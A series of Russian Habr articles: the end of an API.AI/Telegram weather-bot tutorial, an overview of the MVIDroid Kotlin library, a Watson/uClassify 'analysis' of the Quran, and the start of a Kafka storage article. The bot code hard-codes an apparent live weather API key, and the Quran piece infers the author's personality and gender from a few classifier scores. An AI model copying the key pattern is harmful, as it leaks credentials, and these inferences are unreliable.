* @param {Object} req Cloud Function request context.
* @param {Object} res Cloud Function response context.
*/
exports.itsm365Weather = function itsm365Weather (req, res) {
response = "This is a sample response from your webhook!" //Default response from the webhook to show it's working
res.setHeader('Content-Type', 'application/json'); //Requires application/json MIME type
res.send(JSON.stringify({ "speech": response, "displayText": response
//"speech" is the spoken version of the response, "displayText" is the visual version
}));
```
### Настройте Google Cloud Project
* Выполните настройки [“Before you
begin”](https://cloud.google.com/functions/docs/quickstart) с 1 по 5 пункты
* Разверните функцию в облаке выполнив в консоли:
gcloud beta functions deploy itsm365Weather --stage-bucket [BUCKET\_NAME] --trigger-http
где, itsm365Weather — название функции, а [BUCKET\_NAME] — наименование хранилища
данных для проекта.
После завершения операции вы увидите результат с URL http триггера:
### Включите Webhook в API.AI
1. Убедитесь, что находитесь в нужном агенте, а затем кликните “**Fulfillment**” в левом скрывающемся меню.
2. Включите использование Webhook в правой верхней части экрана.
3. Введите URL, полученный на предыдущем этапе.
4. Сохраните изменения.
### Подключите исполнение новой функции в настройках “контекста”
1. Перейдите в настройки “контекста” прогноза погоды
2. Разверните блок **Fulfillment** в нижней части страницы
3. Отметьте галочкой “Использовать Webhook”
4. Сохраните настройки и проверьте результат:
### Настройте API для получения погоды
Для простоты, воспользуемся сервисом WWO (World Weather Online), в котором вам нужно получить [ключ API](https://developer.worldweatheronline.com/api/) (просто зарегистрируйтесь через Facebook или Github).
Обновите код стартового JS файла, не забыв ввести ключ API для получения информации о погоде:
**Исходный код сервиса для получения прогноза погоды**
```
// Copyright 2017, Google, Inc.
// Licensed under the Apache License, Version 2.0 (the 'License');
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an 'AS IS' BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
'use strict';
const http = require('http');
const host = 'api.worldweatheronline.com';
const wwoApiKey = '98cfb8e40ecc47c4a2f205209172608';
exports.itsm365Weather = (req, res) => {
// Get the city and date from the request
let city = req.body.result.parameters['geo-city']; // city is a required param
// Get the date for the weather forecast (if present)
let date = '';
if (req.body.result.parameters['date']) {
date = req.body.result.parameters['date'];
console.log('Date: ' + date);
}
// Call the weather API
callWeatherApi(city, date).then((output) => {
// Return the results of the weather API to API.AI
res.setHeader('Content-Type', 'application/json');
res.send(JSON.stringify({ 'speech': output, 'displayText': output }));
}).catch((error) => {
// If there is an error let the user know
res.setHeader('Content-Type', 'application/json');
res.send(JSON.stringify({ 'speech': error, 'displayText': error }));
});
};
function callWeatherApi (city, date) {
return new Promise((resolve, reject) => {
// Create the path for the HTTP request to get the weather
let path = '/premium/v1/weather.ashx?format=json#_of_days=1' +
'&q=' + encodeURIComponent(city) + '&key=' + wwoApiKey + '&date=' + date + '⟨=ru';
console.log('API Request: ' + host + path);
// Make the HTTP request to get the weather
http.get({host: host, path: path}, (res) => {
let body = ''; // var to store the response chunks
res.on('data', (d) => { body += d; }); // store each response chunk
res.on('end', () => {
// After all the data has been received parse the JSON for desired data
let response = JSON.parse(body);
let forecast = response['data']['weather'][0];
let location = response['data']['request'][0];
let conditions = response['data']['current_condition'][0];
let currentConditions = conditions['lang_ru'][0]['value'];
// Create response
let output = `На ${forecast['date']} в ${location['query']} ${currentConditions}, температура воздуха от ${forecast['mintempC']}°C до ${forecast['maxtempC']}°C.`;
// Resolve the promise with the output text
console.log(output);
resolve(output);
});
res.on('error', (error) => {
reject(error);
});
});
});
}
```
Заново разверните функцию в облачном проекте.
Шаг четвертый: настройка ветвей диалога
---------------------------------------
Взаимодействуя с пользователем мы не можем быть уверены в том, что он предоставит нам всю информацию, необходимую для подготовки ответа во внешнем сервисе сразу в самом первом сообщении. В нашем примере для получения прогноза сервису потребуется дата и город. Если дата не известна, мы можем с успехом предположить, что пользователь подразумевает “сегодня”, но о городе мы можем узнать только от самого пользователя.
### Сделайте “расположение” обязательным параметром
Откройте настройки контекста “Прогноз погоды” и укажите параметр geo-city обязательным к заполнению. Затем настройте уточняющий вопрос по ссылке в колонке “Prompts”.
Сохраните настройки и проверьте поведение агента, задав ему простой вопрос “погода”:
Агент задал нам уточняющий вопрос, в консоли отображены параметры текущей
ситуации.
### Создайте возвращаемое уточнение для расположения
Чтобы использовать данные полученные на предыдущих этапа взаимодействия с пользователем, вам потребуется настроить соответствующие уточнения.
В настройка контекста “прогноз погоды” вбейте в поле “Add output context” название возвращаемого уточнения “location” и сохраните настройки.
### Создайте новый контекст для уточнения
Удобно, когда по одному и тому же расположению можно задавать несколько вопросов, при этом не уточнять у пользователя, какой город он имеет ввиду. Вы уже настроили возвращаемое уточнение, которе как можно использовать для обработки уточняющих вопросов.
1. Создайте новый контекст в разделе **Intents** или кликните по значку в строке
**Intents** левого выдвигающегося меню.
2. Назовите новый контекст “Уточнение погоды” (или любое другое понятное вам название).
3. Установите входящие и исходящие уточнения как “location”
4. Добавьте реплики пользователя, например, “Что на счет завтра”
5. Добавьте параметр сущности со следующими значениями:
— **Parameter Name:**geo-city
— **Value:** #location.geo-city
6. Добавьте ответ для пользователя в раздел “**Response**”:
— “Извини, но я не могу получить прогноз на $date-period в #location.geo-city”
7. Включите использование **webhook** в меню **Fulfillment**.
8. Сохраните настройки и протестируйте в консоли:
Шаг пятый: Приветствие и обработка непредвиденных ситуаций
----------------------------------------------------------
Основной костяк агента готов, теперь неплохо сделать так, чтобы робот
приветствовал пользователя, а также знал что отвечать на непредвиденные вопросы.
### Настройте ответы “по умолчанию” для непредвиденных ситуаций
Если пользовать задаст непредвиденный вопрос (в нашем случае — не о погоде) агент включит в работу контекст для обработки непредвиденных ситуаций (**Default Fallback Intent**):
Перейдите в настройке этого контекста, при необходимости настройте свои варианты ответов.
### Настройте контекст приветствия
Приветствие можно настроить аналогичным способом в соответствующем контенте —
**Default Welcome Intent**
Шаг шестой: запустите бота
--------------------------
### Подключите Telegram бота к агенту
Перейдите в настройки “Интеграций” (Integrations) и включите бота в разделе
“One-click integrations”:
Скопируйте в поле “Telegram token” токен, который вы получили у @botFather и
нажмите на START.
### Проверьте работу бота
Перейдите в своего бота и попробуйте ему что-нибудь написать, в моем случае это
[@itsm365\_weather\_bot](http://t.me/itsm365_weather_bot) (я пользовался бесплатными аккаунтами погоды, поэтому после 500 запросов в день бот превратится в тыкву).
Заключение
----------
API.AI уже вполне можно пользоваться для построения диалоговых интерфейсов в мессенджерах, чатах поддержки с соцсетях. С учетом того, что инструмент можно легко интегрировать со своими сервисами — это удобная рабочая лошадка для автоматизации коммуникации с вашими пользователями.
P.S. Этой мой первый пост, буду признателен за конструктивную обратную связь! | https://habr.com/ru/post/336668/ | null | ru | null |
# MVIDroid: обзор новой библиотеки MVI (Model-View-Intent)
Всем привет! В этой статье я хочу рассказать о новой библиотеке, которая привносит шаблон проектирования MVI в Android. Эта библиотека называется MVIDroid, написана 100% на языке Kotlin, легковесная и использует RxJava 2.x. Автор библиотеки лично я, исходный код её доступен на GitHub, а подключить её можно через JitPack (ссылка на репозиторий в конце статьи). Эта статья состоит из двух частей: общее описание библиотеки и пример её использования.
MVI
---
И так, в качестве предисловия, позвольте напомнить что такое вообще MVI. Model — View — Intent или, если по-русски, Модель — Представление — Намерение. Это такой шаблон проектирования, в котором Модель (Model) является активным компонентом, принимающим на вход Намерения (Intents) и производящая Состояния (State). Представление (View) в свою очередь принимает Модели Представления (View Model) и производит те самые Намерения. Состояние преобразуется в Модель Представления при помощи функции-трансформера (View Model Mapper). Схематически шаблон MVI можно представить следующим образом:
В MVIDroid Представление не производит Намерения напрямую. Вместо этого оно производит События Представления (UI Events), которые затем преобразуются в Намерения при помощи функции-трансформера.
Основные компоненты MVIDroid
----------------------------
### Модель
Начнём с Модели. В библиотеке понятие Модели немного расширено, здесь она производит не только Состояния но и Метки (Labels). Метки используются для общения Моделей между собой. Метки одних Моделей могут быть преобразованы в Намерения других Моделей при помощи функций-трансформеров. Схематически Модель можно представить так:
В MVIDroid Модель представлена интерфейсом MviStore (название Store заимствовано из Redux):
```
interface MviStore : (Intent) -> Unit, Disposable {
@get:MainThread
val state: State
val states: Observable
val labels: Observable
@MainThread
override fun invoke(intent: Intent)
@MainThread
override fun dispose()
@MainThread
override fun isDisposed(): Boolean
}
```
И так, что мы имеем:
* Интерфейс имеет три Generic-параметра: State — тип Состояния, Intent — тип Намерений и Label — тип Меток
* Содержит три поля: state — текущее состояние Модели, states — Observable Состояний и labels — Observable Меток. Последние два поля дают возможность подписаться на изменения Состояния и на Метки соответственно.
* Является потребителем (Consumer) Намерений
* Является Disposable, что даёт возможность разрушить Модель и прекратить все происходящие в ней процессы
Обратите внимание, что все методы Модели должны выполняться на главном потоке. То же самое справедливо и для любого другого компонента. Выполнять фоновые задачи, разумеется, можно используя стандартные средства RxJava.
### Компонент
Компонент в MVIDroid — это группа Моделей, объединённых общей целью. Например можно выделить в Компонент все Модели для какого-либо экрана. Иными словами, Компонент является фасадом для заключённых в него Моделей и позволяют скрыть детали реализации (Модели, функции-трансформеры и их связи). Давайте посмотрим на схему Компонента:
Как видно из схемы, компонент выполняет важную функцию преобразования и перенаправления событий.
Полный список функции Компонента выглядит следующим образом:
* Связывает входящие События Представлений и Метки с каждой Моделью используя предоставленные функции-трансформеры
* Выводит исходящие Метки Моделей наружу
* Разрушает все Модели и разрывает все связи при разрушении Компонента
Компонент тоже имеет свой интерфейс:
```
interface MviComponent : (UiEvent) -> Unit, Disposable {
@get:MainThread
val states: States
@MainThread
override fun invoke(event: UiEvent)
@MainThread
override fun dispose()
@MainThread
override fun isDisposed(): Boolean
}
```
Рассмотрим интерфейс Компонента подробнее:
* Содержит два Generic-параметра: UiEvent — тип Событий Представления и States — тип Состояний Моделей
* Содержит поле states, дающее доступ к группе Состояний Моделей (например в виде интерфейса или data-класса)
* Является потребителем (Consumer) Событий Представления
* Является Disposable, что даёт возможность разрушить Компонент и все его Модели
### Представление (View)
Как несложно догадаться, Представление нужно для отображения данных. Данные для каждого Представления группируются в Модель Представления (View Model) и обычно представляются в виде data-класса (Kotlin). Рассмотрим интерфейс Представления:
```
interface MviView {
val uiEvents: Observable
@MainThread
fun subscribe(models: Observable): Disposable
}
```
Здесь всё несколько проще. Два Generic-параметра: ViewModel — тип Модели Представления и UiEvent — тип Событий Представления. Одно поле uiEvents — Observable Событий Представления, дающее возможность клиентам подписаться на эти самые события. И один метод subscribe(), дающий возможность подписаться на Модели Представления.
Пример использования
--------------------
Теперь самое время попробовать что-нибудь на деле. Предлагаю сделать что-то очень простое. Что-то, что не потребует больших усилий для понимания, и в то же время даст представление о том, как же это всё использовать и в каком направлении двигаться дальше. Пусть это будет генератор UUID: по нажатию кнопки будем генерировать UUID и отображать его на экране.
### Представление
Для начала опишем Модель Представления:
```
data class ViewModel(val text: String)
```
И События Представления:
```
sealed class UiEvent {
object OnGenerateClick: UiEvent()
}
```
Теперь реализуем само Представление, для этого нам понадобится наследование от абстрактного класса MviAbstractView:
```
class View(activity: Activity) : MviAbstractView() {
private val textView = activity.findViewById(R.id.text)
init {
activity.findViewById(R.id.button).setOnClickListener {
dispatch(UiEvent.OnGenerateClick)
}
}
override fun subscribe(models: Observable): Disposable =
models.map(ViewModel::text).distinctUntilChanged().subscribe {
textView.text = it
}
}
```
Всё предельно просто: подписываемся на изменения UUID и обновляем TextView при получении нового UUID, а по нажатию кнопки отправляем событие OnGenerateClick.
### Модель
Модель будет состоять из двух частей: интерфейс и реализация.
Интерфейс:
```
interface UuidStore : MviStore {
data class State(val uuid: String? = null)
sealed class Intent {
object Generate : Intent()
}
}
```
Здесь всё просто: наш интерфейс расширяет интерфейс MviStore, указывая типы Состояния (State) и Намерений (Intent). Тип Меток — Nothing, т. к. у наша Модель их не производит. Также в интерфейсе содержатся классы Состояния и Намерений.
Для того что реализовать Модель, надо понять как она работает. На вход Модели поступают Намерения (Intent), которые преобразуются в Действия (Action) при помощи специальной функции IntentToAction. Действия поступают на вход Исполнителю (Executor), который выполняет их и производит Результаты (Result) и Метки (Label). Результаты затем поступают в Редуктор (Reducer), который преобразует текущее Состояние в новое.
Все четыре состовляющие Модели:
* IntentToAction — функция, преобразующая Намерения в Действия
* MviExecutor — исполняет Действия и производит Результаты и Метки
* MviReducer — преобразует пары (Состояние, Результат) в новые Состояния
* MviBootstrapper — специальный компонент, позволяющий инициализировать Модель. Выдаёт всё те же Действия, которые также поступают в Исполнитель (Executor). Можно выполнить разовое Действие, а можно подписаться на источник данных и выполнять Действия при определённых событиях. Bootstrapper запускается автоматически при создании Модели.
Чтобы создать саму Модель, необходимо использовать специальную фабрику Моделей. Она представлена интерфейсом MviStoreFactory и его реализацией MviDefaultStoreFactory. Фабрика принимает составляющие Модели и выдаёт готовую к использованию Модель.
Фабрика нашей Модели будет выглядеть следующим образом:
```
class UuidStoreFactory(private val factory: MviStoreFactory) {
fun create(factory: MviStoreFactory): UuidStore =
object : UuidStore, MviStore by factory.create(
initialState = State(),
bootstrapper = Bootstrapper,
intentToAction = {
when (it) {
Intent.Generate -> Action.Generate
}
},
executor = Executor(),
reducer = Reducer
) {
}
private sealed class Action {
object Generate : Action()
}
private sealed class Result {
class Uuid(val uuid: String) : Result()
}
private object Bootstrapper : MviBootstrapper {
override fun bootstrap(dispatch: (Action) -> Unit): Disposable? {
dispatch(Action.Generate)
return null
}
}
private class Executor : MviExecutor() {
override fun invoke(action: Action): Disposable? {
dispatch(Result.Uuid(UUID.randomUUID().toString()))
return null
}
}
private object Reducer : MviReducer {
override fun State.reduce(result: Result): State =
when (result) {
is Result.Uuid -> copy(uuid = result.uuid)
}
}
}
```
В этом примере представлены все четыре составляющие Модели. Сначала фабричный метод create, затем Действия и Результаты, за ними следует Исполнитель и в самом конце Редуктор.
### Компонент
Состояния Компонента (группа Состояний) опишем data-классом:
```
data class States(val uuidStates: Observable)
```
При добавлении новых Моделей в Компонент, их Состояния следует также добавить в группу.
И, собственно, сама реализация:
```
class Component(uuidStore: UuidStore) : MviAbstractComponent(
stores = listOf(
MviStoreBundle(
store = uuidStore,
uiEventTransformer = UuidStoreUiEventTransformer
)
)
) {
override val states: States = States(uuidStore.states)
private object UuidStoreUiEventTransformer : (UiEvent) -> UuidStore.Intent? {
override fun invoke(event: UiEvent): UuidStore.Intent? =
when (event) {
UiEvent.OnGenerateClick -> UuidStore.Intent.Generate
}
}
}
```
Мы наследовали абстрактный класс MviAbstractComponent, указали типы Состояний и Событий Представления, передали нашу Модель в super класс и реализовали поле states. Кроме того мы создали функцию-трансформер, которая будет преобразовывать События Представления в Намерения нашей Модели.
### Маппинг Модели Представления
У нас есть Состояния и Модель Представления, настало время преобразовать одно в другое. Для этого мы реализуем интерфейс MviViewModelMapper:
```
object ViewModelMapper : MviViewModelMapper {
override fun map(states: States): Observable =
states.uuidStates.map {
ViewModel(text = it.uuid ?: "None")
}
}
```
### Связь (Binding)
Наличия самих по себе Компонента и Представления не достаточно. Чтобы всё начало работать, их необходимо связать. Пришло время создать Activity:
```
class UuidActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_uuid)
bind(
Component(UuidStoreFactory(MviDefaultStoreFactory).create()),
View(this) using ViewModelMapper
)
}
}
```
Мы использовали метод bind(), который принимает Компонент и массив Представлений с мапперами их Моделей. Этот метод является extension-методом над LifecycleOwner (коими являются Activity и Fragment) и использует DefaultLifecycleObserver из пакета Arch, который требует Java 8 source compatibility. Если по каким-либо причинам Вы не можете использовать Java 8, то Вам подойдёт второй метод bind(), который не являеся extension-методом и возвращает MviLifecyleObserver. В этом случае, Вам придётся вызывать методы жизненного цикла самостоятельно.
Ссылки
------
Исходный код библиотеки, а также подробную инструкцию по подключению и использованию можно найти на [GitHub](https://github.com/arkivanov/MVIDroid). | https://habr.com/ru/post/417763/ | null | ru | null |
# Анализ Корана при помощи AI
Прошу прощение за возможно «желтый» заголовок, потому срау перехожу к сути. В ходе работы потребовалось протестировать систему осуществляющую качественный анализ текста по различным классификаторам, таким как пол, сентимент (настроение), возраст и прочее. В качестве одного из тестируемых образцов решил взять суру из корана, а потом проанализировал весь текст манускрипта.
### Watson
Изначально возникло желание «пропустить» Коран через небезызвестный [Watson](https://personality-insights-livedemo.mybluemix.net), тем более, что сервис позволяет анализировать текст на арабском языке. Первая сура Watson'ом была отвергнута, т.к. содержала совсем мало текста, поэтому решено было использовать [вторую](http://www.searchtruth.com/chapter_display.php?chapter=2&translator=7). Результаты оказались информативными, но не совсем то, что требовалось, поскольку Watson не дает оценки по сентименту, полу и возрасту.
Обработав суру Al Baqarah, Watson представил числовые значения основных характеристик автора текста, которые можно посмотреть в JSON формате.
*Абсолютный интроверт (практически замкнутый), с узким эмоциональный диапазоном, выраженной импульсивностью. Готов пробовать что-то новое. Дисциплинированный и обязательный. Альтруизм, скромность, сочувствие и доброта не обнаружены. Высокая степень доверчивости. Выражает острую потребность в любви, гармонии, близости и организованности распорядка. Придает значение традициям и достижениям в рамках общепринятых социальных стандартов. Не заинтересован в помощи другим и получении наслаждения от жизни.*
**JSON**
```
(Предупреждение про 285 слов это баг ватсона, возможно связанно с особенностями обработки арабской вязи. На самом деле 285 строф, слов значительно больше).
{
"id": "*UNKNOWN*",
"source": "*UNKNOWN*",
"tree": {
"id": "r",
"name": "root",
"children": [
{
"id": "personality",
"name": "Big 5",
"children": [
{
"id": "Extraversion_parent",
"name": "Extraversion",
"category": "personality",
"percentage": 0,
"children": [
{
"id": "Openness",
"name": "Openness",
"category": "personality",
"percentage": 0.7401994172490934,
"sampling_error": 0.0632961745,
"children": [
{
"id": "Adventurousness",
"name": "Adventurousness",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.0531619985
},
{
"id": "Artistic interests",
"name": "Artistic interests",
"category": "personality",
"percentage": 0.01376496058079709,
"sampling_error": 0.1084097325
},
{
"id": "Emotionality",
"name": "Emotionality",
"category": "personality",
"percentage": 0,
"sampling_error": 0.049707709
},
{
"id": "Imagination",
"name": "Imagination",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.0672327285
},
{
"id": "Intellect",
"name": "Intellect",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.0588966455
},
{
"id": "Liberalism",
"name": "Authority-challenging",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.0869470685
}
]
},
{
"id": "Conscientiousness",
"name": "Conscientiousness",
"category": "personality",
"percentage": 0.9123376288115044,
"sampling_error": 0.079482993,
"children": [
{
"id": "Achievement striving",
"name": "Achievement striving",
"category": "personality",
"percentage": 0.9259149497833751,
"sampling_error": 0.102722867
},
{
"id": "Cautiousness",
"name": "Cautiousness",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.09507552899999999
},
{
"id": "Dutifulness",
"name": "Dutifulness",
"category": "personality",
"percentage": 0.009847553196768501,
"sampling_error": 0.063380138
},
{
"id": "Orderliness",
"name": "Orderliness",
"category": "personality",
"percentage": 0.00951030345654535,
"sampling_error": 0.0730250425
},
{
"id": "Self-discipline",
"name": "Self-discipline",
"category": "personality",
"percentage": 0.7957300993092047,
"sampling_error": 0.048516363
},
{
"id": "Self-efficacy",
"name": "Self-efficacy",
"category": "personality",
"percentage": 0.031706902665228645,
"sampling_error": 0.096044686
}
]
},
{
"id": "Extraversion",
"name": "Extraversion",
"category": "personality",
"percentage": 0,
"sampling_error": 0.059340869500000004,
"children": [
{
"id": "Activity level",
"name": "Activity level",
"category": "personality",
"percentage": 0,
"sampling_error": 0.0810636685
},
{
"id": "Assertiveness",
"name": "Assertiveness",
"category": "personality",
"percentage": 0,
"sampling_error": 0.0866103315
},
{
"id": "Cheerfulness",
"name": "Cheerfulness",
"category": "personality",
"percentage": 0,
"sampling_error": 0.10896341150000001
},
{
"id": "Excitement-seeking",
"name": "Excitement-seeking",
"category": "personality",
"percentage": 0,
"sampling_error": 0.083409996
},
{
"id": "Friendliness",
"name": "Outgoing",
"category": "personality",
"percentage": 0.004154940124177926,
"sampling_error": 0.078376899
},
{
"id": "Gregariousness",
"name": "Gregariousness",
"category": "personality",
"percentage": 0.006610468323581309,
"sampling_error": 0.059563857
}
]
},
{
"id": "Agreeableness",
"name": "Agreeableness",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.100387345,
"children": [
{
"id": "Altruism",
"name": "Altruism",
"category": "personality",
"percentage": 0.00835173524008939,
"sampling_error": 0.073512979
},
{
"id": "Cooperation",
"name": "Cooperation",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.0826257435
},
{
"id": "Modesty",
"name": "Modesty",
"category": "personality",
"percentage": 0,
"sampling_error": 0.058549201499999995
},
{
"id": "Morality",
"name": "Uncompromising",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.06559944549999999
},
{
"id": "Sympathy",
"name": "Sympathy",
"category": "personality",
"percentage": 0.00899654205884867,
"sampling_error": 0.101299643
},
{
"id": "Trust",
"name": "Trust",
"category": "personality",
"percentage": 0.99,
"sampling_error": 0.059132582
}
]
},
{
"id": "Neuroticism",
"name": "Emotional range",
"category": "personality",
"percentage": 0.12553186654101073,
"sampling_error": 0.094767615,
"children": [
{
"id": "Anger",
"name": "Fiery",
"category": "personality",
"percentage": 0.009857823702785023,
"sampling_error": 0.0976305695
},
{
"id": "Anxiety",
"name": "Prone to worry",
"category": "personality",
"percentage": 0.10522549628333466,
"sampling_error": 0.0574906605
},
{
"id": "Depression",
"name": "Melancholy",
"category": "personality",
"percentage": 0.0012238948047045572,
"sampling_error": 0.061626443999999996
},
{
"id": "Immoderation",
"name": "Immoderation",
"category": "personality",
"percentage": 0.25656958950189773,
"sampling_error": 0.0550395485
},
{
"id": "Self-consciousness",
"name": "Self-consciousness",
"category": "personality",
"percentage": 0.06392969963372698,
"sampling_error": 0.0593781605
},
{
"id": "Vulnerability",
"name": "Susceptible to stress",
"category": "personality",
"percentage": 0.10113758876238299,
"sampling_error": 0.088768721
}
]
}
]
}
]
},
{
"id": "needs",
"name": "Needs",
"children": [
{
"id": "Ideal_parent",
"name": "Ideal",
"category": "needs",
"percentage": 0.003832960708229936,
"children": [
{
"id": "Challenge",
"name": "Challenge",
"category": "needs",
"percentage": 0.6100166548928185,
"sampling_error": 0.086264993
},
{
"id": "Closeness",
"name": "Closeness",
"category": "needs",
"percentage": 0.8251348807632928,
"sampling_error": 0.08506778699999999
},
{
"id": "Curiosity",
"name": "Curiosity",
"category": "needs",
"percentage": 0.6427034487726155,
"sampling_error": 0.1232055355
},
{
"id": "Excitement",
"name": "Excitement",
"category": "needs",
"percentage": 0.005544228138235261,
"sampling_error": 0.11254523300000001
},
{
"id": "Harmony",
"name": "Harmony",
"category": "needs",
"percentage": 0.99,
"sampling_error": 0.112534116
},
{
"id": "Ideal",
"name": "Ideal",
"category": "needs",
"percentage": 0.003832960708229936,
"sampling_error": 0.10201695250000001
},
{
"id": "Liberty",
"name": "Liberty",
"category": "needs",
"percentage": 0.5752122746131392,
"sampling_error": 0.1490213055
},
{
"id": "Love",
"name": "Love",
"category": "needs",
"percentage": 0.99,
"sampling_error": 0.103592588
},
{
"id": "Practicality",
"name": "Practicality",
"category": "needs",
"percentage": 0.99,
"sampling_error": 0.089956072
},
{
"id": "Self-expression",
"name": "Self-expression",
"category": "needs",
"percentage": 0.009886632263973901,
"sampling_error": 0.083656981
},
{
"id": "Stability",
"name": "Stability",
"category": "needs",
"percentage": 0.011545403965898251,
"sampling_error": 0.109521769
},
{
"id": "Structure",
"name": "Structure",
"category": "needs",
"percentage": 0.99,
"sampling_error": 0.0821582255
}
]
}
]
},
{
"id": "values",
"name": "Values",
"children": [
{
"id": "Self-transcendence_parent",
"name": "Self-transcendence",
"category": "values",
"percentage": 0,
"children": [
{
"id": "Conservation",
"name": "Conservation",
"category": "values",
"percentage": 0.99,
"sampling_error": 0.069950964
},
{
"id": "Openness to change",
"name": "Openness to change",
"category": "values",
"percentage": 0.008825493504679734,
"sampling_error": 0.0660268375
},
{
"id": "Hedonism",
"name": "Hedonism",
"category": "values",
"percentage": 0.008326985786020414,
"sampling_error": 0.140913567
},
{
"id": "Self-enhancement",
"name": "Self-enhancement",
"category": "values",
"percentage": 0.765277368499976,
"sampling_error": 0.10627466249999999
},
{
"id": "Self-transcendence",
"name": "Self-transcendence",
"category": "values",
"percentage": 0,
"sampling_error": 0.0846075525
}
]
}
]
}
]
},
"warnings": [
{
"id": "WORD_COUNT_MESSAGE",
"message": "There were 285 words in the input. We need a minimum of 3,500, preferably 6,000 or more, to compute statistically significant estimates"
}
]
}
```
Любопытно то, что практически все характеристики предоставленные «Ватсоном» возведены в абсолют, что редко встречалось при анализе других текстов, иначе говоря, Watson редко демонстрирует такую высокую степень уверенности в полученных результатах.
Помимо числовых значений, Watson еще предоставляет и небольшое текстовое описание полученных результатов, в так называемом «human readable format». Сам факт наличия такого описания удобен, но мало интересен, а вот процесс его генерации немного неожиданный. Код отвечающий за создание текста реализован на стороне клиента, на JavaScript — Выделяются наиболее яркие черты, ранжируются и каждой присваевается идентификатор. Потом сторятся предложения вида:
```
switch (intervalFor(valuesList[0].percentage)) {
case 0:
sentence = format(tphrase('You are relatively unconcerned with both %s and %s'), term1, term2) + '.';
break;
case 1:
sentence = format(tphrase("You don't find either %s or %s to be particularly motivating for you"), term1, term2) + '.';
break;
}
```
**Ссылка на весь JS-файл**<https://personality-insights-livedemo.mybluemix.net/js/components/personality-text-summary.standalone.js>
### uClassify
Очередной условно [бесплатный сервис](https://www.uclassify.com/browse/uclassify/sentiment?input=Url), использующий технологии машинного обучения для анализа текста по выбранным классификаторам. Выбор пал на него по двум причинам — высокие результаты на тестовых выборках и наличие требуемых классификаторов. Более того, отсутствие ограничения на минимальное количество слов для анализа, что позволяет проанализировать каждую отдельно взятую суру.
К сожалению uClassify работает только с текстом написанном на Английском языке, поэтому анализу подвергся текст корана в Английском переводе. Опираясь на информацию из разных источников, я выбрал наиболее [точный, широко признанный и часто используемый вариант перевода](http://www.noblequran.com/).
Начал с классификатора сентимент, который демонстрирует общее настроение повествования — негативное или позитивное.
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **Сура** | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| **Негатив** | 9% | 76% | 71% | 76% | 60% | 60% | 54% |
| **Позитив** | 91% | 24% | 29% | 24% | 40% | 40% | 46% |
На графике ниже отчетливо заметно, что текст Корана начинается крайне позитивно, а потом интенсивно устремляется в негатив, причем негативные настроения сохраняются на протяжении всего текста, лишь незначительно ослабевая ближе к окончанию, когда настроение повествования приближается к нейтральному (негатив 54%).
Вполне закономерно и то, что негативное настроение превалирует на протяжении всего текста, тем более если учесть тот факт, что первая сура несоизмеримо мала по обьему, в сравнении с каждой последующей.
Если предположить, что текст Корана писался не одним человеком, а несколькими и проанализировать гендерный классификатор, то получается не менее интересная «картина»:
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **Сура** | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| **Мужчина** | 20% | 49% | 48% | 60% | 69% | 54% | 47% |
| **Девушка** | 80% | 51% | 52% | 40% | 31% | 46% | 53% |
Корреляция между двумя массивами данных отчетливо заметна даже визуально, а именно 0.7839422223, что говорит о прямой связи между классификаторами пола и настроенем текста.
### Эпилог
Конечно это всего лишь цифры, графики и формулы. | https://habr.com/ru/post/308082/ | null | ru | null |
# Практический взгляд на хранение в Kafka
Kafka повсюду. Где есть микросервисы и распределенные вычисления, а они сейчас популярны, там почти наверняка есть и Kafka. В статье я попытаюсь объяснить, как в Kafka работает механизм хранения.
Я, конечно, постарался не усложнять, но копать будем глубоко, поэтому какое-то базовое представление о Kafka не помешает. Иначе не все будет понятно. В общем, продолжайте читать на свой страх и риск.
Обычно считается, что Kafka — это *распределенная и реплицированная очередь сообщений*. С технической точки зрения все верно, но термин *очередь сообщений* не все понимают одинаково. Я предпочитаю другое определение: **распределенный и реплицированный журнал коммитов**. Эта формулировка кажется более точной, ведь мы все прекрасно знаем, как журналы записываются на диск. Просто в этом случае на диск попадают сообщения, отправленные в Kafka.
Применительно к хранению в Kafka используется два термина: партиции и топики. ***Партиции*** — это единицы хранения сообщений, а ***топики*** — что-то вроде контейнеров, в которых эти партиции находятся.
С основной теорией мы определились, давайте перейдем к практике.
Я создам в Kafka топик с тремя партициями. Если хотите повторять за мной, вот как выглядит команда для локальной настройки Kafka в Windows.
```
kafka-topics.bat --create --topic freblogg --partitions 3 --replication-factor 1 --zookeeper localhost:2181
```
В каталоге журналов Kafka создано три каталога:
```
$ tree freblogg*
freblogg-0
|-- 00000000000000000000.index
|-- 00000000000000000000.log
|-- 00000000000000000000.timeindex
`-- leader-epoch-checkpoint
freblogg-1
|-- 00000000000000000000.index
|-- 00000000000000000000.log
|-- 00000000000000000000.timeindex
`-- leader-epoch-checkpoint
freblogg-2
|-- 00000000000000000000.index
|-- 00000000000000000000.log
|-- 00000000000000000000.timeindex
`-- leader-epoch-checkpoint
```
Мы создали в топике три партиции, и у каждой — свой каталог в файловой системе. Еще тут есть несколько файлов (*index, log и т д.*), но о них чуть позже.
Обратите внимание, что в Kafka **топик** — это логическое объединение, а **партиция — фактическая единица хранения**. То, что физически хранится на диске. Как устроены партиции?
### Партиции
В теории партиция — это неизменяемая коллекция (или последовательность) сообщений. Мы можем добавлять сообщения в партицию, но не можем удалять. И под «мы» я подразумеваю продюсеров в Kafka. Продюсер не может удалять сообщения из топика.
Сейчас мы отправим в топик пару сообщений, но сначала обратите внимание на размер файлов в папках партиций.
```
$ ls -lh freblogg-0
total 20M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
